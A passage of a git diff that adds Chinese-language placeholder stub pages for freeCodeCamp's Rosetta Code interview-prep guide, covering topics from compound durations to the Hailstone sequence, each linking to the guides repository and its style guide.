+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/convert-seconds-to-compound-duration/index.md
@@ -0,0 +1,9 @@
+---
+title: Convert seconds to compound duration
+localeTitle: 将秒转换为复合持续时间
+---
+## 将秒转换为复合持续时间
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/convert-seconds-to-compound-duration/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/count-occurrences-of-a-substring/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/count-occurrences-of-a-substring/index.md
new file mode 100644
index 0000000000..e4d313a203
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/count-occurrences-of-a-substring/index.md
@@ -0,0 +1,9 @@
+---
+title: Count occurrences of a substring
+localeTitle: 计算子字符串的出现次数
+---
+## 计算子字符串的出现次数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/count-occurrences-of-a-substring/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/count-the-coins/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/count-the-coins/index.md
new file mode 100644
index 0000000000..0a39a5cf7e
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/count-the-coins/index.md
@@ -0,0 +1,9 @@
+---
+title: Count the coins
+localeTitle: 计算硬币
+---
+## 计算硬币
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/count-the-coins/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/cramers-rule/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/cramers-rule/index.md
new file mode 100644
index 0000000000..bdd96590df
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/cramers-rule/index.md
@@ -0,0 +1,9 @@
+---
+title: Cramer's rule
+localeTitle: 克莱默的统治
+---
+## 克莱默的统治
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/cramers-rule/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/date-format/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/date-format/index.md
new file mode 100644
index 0000000000..a0343b1437
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/date-format/index.md
@@ -0,0 +1,9 @@
+---
+title: Date format
+localeTitle: 日期格式
+---
+## 日期格式
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/date-format/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/date-manipulation/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/date-manipulation/index.md
new file mode 100644
index 0000000000..b47e8fd9f5
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/date-manipulation/index.md
@@ -0,0 +1,9 @@
+---
+title: Date manipulation
+localeTitle: 日期操纵
+---
+## 日期操纵
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/date-manipulation/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/day-of-the-week/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/day-of-the-week/index.md
new file mode 100644
index 0000000000..6b86f69b06
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/day-of-the-week/index.md
@@ -0,0 +1,9 @@
+---
+title: Day of the week
+localeTitle: 一周中的天
+---
+## 一周中的天
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/day-of-the-week/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/deal-cards-for-freecell/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/deal-cards-for-freecell/index.md
new file mode 100644
index 0000000000..24b06bf3e3
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/deal-cards-for-freecell/index.md
@@ -0,0 +1,9 @@
+---
+title: Deal cards for FreeCell
+localeTitle: FreeCell的交易卡
+---
+## FreeCell的交易卡
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/deal-cards-for-freecell/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/deepcopy/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/deepcopy/index.md
new file mode 100644
index 0000000000..8f3a99ec52
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/deepcopy/index.md
@@ -0,0 +1,9 @@
+---
+title: Deepcopy
+localeTitle: deepcopy的
+---
+## deepcopy的
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/deepcopy/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/define-a-primitive-data-type/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/define-a-primitive-data-type/index.md
new file mode 100644
index 0000000000..4878a5a399
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/define-a-primitive-data-type/index.md
@@ -0,0 +1,9 @@
+---
+title: Define a primitive data type
+localeTitle: 定义原始数据类型
+---
+## 定义原始数据类型
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/define-a-primitive-data-type/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/department-numbers/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/department-numbers/index.md
new file mode 100644
index 0000000000..3324c639c5
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/department-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Department Numbers
+localeTitle: 部门编号
+---
+## 部门编号
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/department-numbers/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/discordian-date/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/discordian-date/index.md
new file mode 100644
index 0000000000..684190212b
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/discordian-date/index.md
@@ -0,0 +1,9 @@
+---
+title: Discordian date
+localeTitle: Discordian日期
+---
+## Discordian日期
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/discordian-date/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/element-wise-operations/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/element-wise-operations/index.md
new file mode 100644
index 0000000000..376413da8d
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/element-wise-operations/index.md
@@ -0,0 +1,9 @@
+---
+title: Element-wise operations
+localeTitle: 元素操作
+---
+## 元素操作
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/element-wise-operations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/emirp-primes/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/emirp-primes/index.md
new file mode 100644
index 0000000000..4855b620c1
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/emirp-primes/index.md
@@ -0,0 +1,9 @@
+---
+title: Emirp primes
+localeTitle: Emirp奖金
+---
+## Emirp素数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/emirp-primes/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/entropy/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/entropy/index.md
new file mode 100644
index 0000000000..354bce03e3
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/entropy/index.md
@@ -0,0 +1,9 @@
+---
+title: Entropy
+localeTitle: 熵
+---
+## 熵
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/entropy/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/equilibrium-index/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/equilibrium-index/index.md
new file mode 100644
index 0000000000..16ad92d115
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/equilibrium-index/index.md
@@ -0,0 +1,9 @@
+---
+title: Equilibrium index
+localeTitle: 均衡指数
+---
+## 均衡指数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/equilibrium-index/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/ethiopian-multiplication/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/ethiopian-multiplication/index.md
new file mode 100644
index 0000000000..9c4337709f
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/ethiopian-multiplication/index.md
@@ -0,0 +1,9 @@
+---
+title: Ethiopian multiplication
+localeTitle: 埃塞俄比亚的乘法
+---
+## 埃塞俄比亚的乘法
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/ethiopian-multiplication/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/euler-method/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/euler-method/index.md
new file mode 100644
index 0000000000..4f57de26de
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/euler-method/index.md
@@ -0,0 +1,9 @@
+---
+title: Euler method
+localeTitle: 欧拉方法
+---
+## 欧拉方法
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/euler-method/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/evaluate-binomial-coefficients/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/evaluate-binomial-coefficients/index.md
new file mode 100644
index 0000000000..27466c90f2
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/evaluate-binomial-coefficients/index.md
@@ -0,0 +1,9 @@
+---
+title: Evaluate binomial coefficients
+localeTitle: 评估二项式系数
+---
+## 评估二项式系数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/evaluate-binomial-coefficients/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/execute-a-markov-algorithm/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/execute-a-markov-algorithm/index.md
new file mode 100644
index 0000000000..7967fe288a
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/execute-a-markov-algorithm/index.md
@@ -0,0 +1,9 @@
+---
+title: Execute a Markov algorithm
+localeTitle: 执行马尔可夫算法
+---
+## 执行马尔可夫算法
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/execute-a-markov-algorithm/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/execute-brain/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/execute-brain/index.md
new file mode 100644
index 0000000000..19dd45d793
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/execute-brain/index.md
@@ -0,0 +1,9 @@
+---
+title: Execute Brain****
+localeTitle: 执行大脑****
+---
+## 执行大脑\*\*\*\*
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/execute-brain/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/extensible-prime-generator/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/extensible-prime-generator/index.md
new file mode 100644
index 0000000000..f8fa079f0f
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/extensible-prime-generator/index.md
@@ -0,0 +1,9 @@
+---
+title: Extensible prime generator
+localeTitle: 可扩展的素发生器
+---
+## 可扩展的素发生器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/extensible-prime-generator/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/factorial/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/factorial/index.md
new file mode 100644
index 0000000000..ac94672c0d
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/factorial/index.md
@@ -0,0 +1,9 @@
+---
+title: Factorial
+localeTitle: 阶乘
+---
+## 阶乘
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/factorial/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/factors-of-a-mersenne-number/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/factors-of-a-mersenne-number/index.md
new file mode 100644
index 0000000000..331bcfdcd1
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/factors-of-a-mersenne-number/index.md
@@ -0,0 +1,9 @@
+---
+title: Factors of a Mersenne number
+localeTitle: 梅森数的因素
+---
+## 梅森数的因素
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/factors-of-a-mersenne-number/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/factors-of-an-integer/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/factors-of-an-integer/index.md
new file mode 100644
index 0000000000..a98847e165
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/factors-of-an-integer/index.md
@@ -0,0 +1,9 @@
+---
+title: Factors of an integer
+localeTitle: 整数因子
+---
+## 整数因子
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/factors-of-an-integer/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/farey-sequence/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/farey-sequence/index.md
new file mode 100644
index 0000000000..40aa646ef2
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/farey-sequence/index.md
@@ -0,0 +1,9 @@
+---
+title: Farey sequence
+localeTitle: Farey序列
+---
+## Farey序列
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/farey-sequence/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/fibonacci-n-step-number-sequences/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/fibonacci-n-step-number-sequences/index.md
new file mode 100644
index 0000000000..19044bcb0f
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/fibonacci-n-step-number-sequences/index.md
@@ -0,0 +1,9 @@
+---
+title: Fibonacci n-step number sequences
+localeTitle: 斐波那契n步数序列
+---
+## 斐波那契n步数序列
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/fibonacci-n-step-number-sequences/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/fibonacci-sequence/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/fibonacci-sequence/index.md
new file mode 100644
index 0000000000..2923b20490
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/fibonacci-sequence/index.md
@@ -0,0 +1,9 @@
+---
+title: Fibonacci sequence
+localeTitle: 斐波那契序列
+---
+## 斐波那契序列
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/fibonacci-sequence/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/fibonacci-word/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/fibonacci-word/index.md
new file mode 100644
index 0000000000..d384b6718c
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/fibonacci-word/index.md
@@ -0,0 +1,9 @@
+---
+title: Fibonacci word
+localeTitle: 斐波那契字
+---
+## 斐波那契字
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/fibonacci-word/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/fractran/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/fractran/index.md
new file mode 100644
index 0000000000..65296afca3
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/fractran/index.md
@@ -0,0 +1,9 @@
+---
+title: Fractran
+localeTitle: Fractran
+---
+## Fractran
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/fractran/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/gamma-function/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/gamma-function/index.md
new file mode 100644
index 0000000000..4ffb343cf5
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/gamma-function/index.md
@@ -0,0 +1,9 @@
+---
+title: Gamma function
+localeTitle: 伽玛功能
+---
+## 伽玛功能
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/gamma-function/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/gaussian-elimination/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/gaussian-elimination/index.md
new file mode 100644
index 0000000000..73f06746a6
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/gaussian-elimination/index.md
@@ -0,0 +1,9 @@
+---
+title: Gaussian elimination
+localeTitle: 高斯消除
+---
+## 高斯消除
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/gaussian-elimination/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/general-fizzbuzz/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/general-fizzbuzz/index.md
new file mode 100644
index 0000000000..f8aef4285e
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/general-fizzbuzz/index.md
@@ -0,0 +1,9 @@
+---
+title: General FizzBuzz
+localeTitle: 一般的FizzBu​​zz
+---
+## 一般的FizzBu​​zz
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/general-fizzbuzz/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/generate-lower-case-ascii-alphabet/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/generate-lower-case-ascii-alphabet/index.md
new file mode 100644
index 0000000000..6bffac23b3
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/generate-lower-case-ascii-alphabet/index.md
@@ -0,0 +1,9 @@
+---
+title: Generate lower case ASCII alphabet
+localeTitle: 生成小写ASCII字母表
+---
+## 生成小写ASCII字母表
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/generate-lower-case-ascii-alphabet/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/generatorexponential/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/generatorexponential/index.md
new file mode 100644
index 0000000000..cc142c7ec1
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/generatorexponential/index.md
@@ -0,0 +1,9 @@
+---
+title: Generator/Exponential
+localeTitle: 发电机/指数
+---
+## 发电机/指数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/generatorexponential/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/gray-code/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/gray-code/index.md
new file mode 100644
index 0000000000..3a9e86df1a
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/gray-code/index.md
@@ -0,0 +1,9 @@
+---
+title: Gray code
+localeTitle: 格雷码
+---
+## 格雷码
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/gray-code/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/greatest-common-divisor/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/greatest-common-divisor/index.md
new file mode 100644
index 0000000000..ac9fb12221
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/greatest-common-divisor/index.md
@@ -0,0 +1,9 @@
+---
+title: Greatest common divisor
+localeTitle: 最大公约数
+---
+## 最大公约数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/greatest-common-divisor/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/greatest-subsequential-sum/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/greatest-subsequential-sum/index.md
new file mode 100644
index 0000000000..1c6956654a
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/greatest-subsequential-sum/index.md
@@ -0,0 +1,9 @@
+---
+title: Greatest subsequential sum
+localeTitle: 最重要的后续总和
+---
+## 最重要的后续总和
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/greatest-subsequential-sum/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/hailstone-sequence/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/hailstone-sequence/index.md
new file mode 100644
index 0000000000..d1e2f073d8
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/hailstone-sequence/index.md
@@ -0,0 +1,9 @@
+---
+title: Hailstone sequence
+localeTitle: 冰雹序列
+---
+## 冰雹序列
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/hailstone-sequence/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
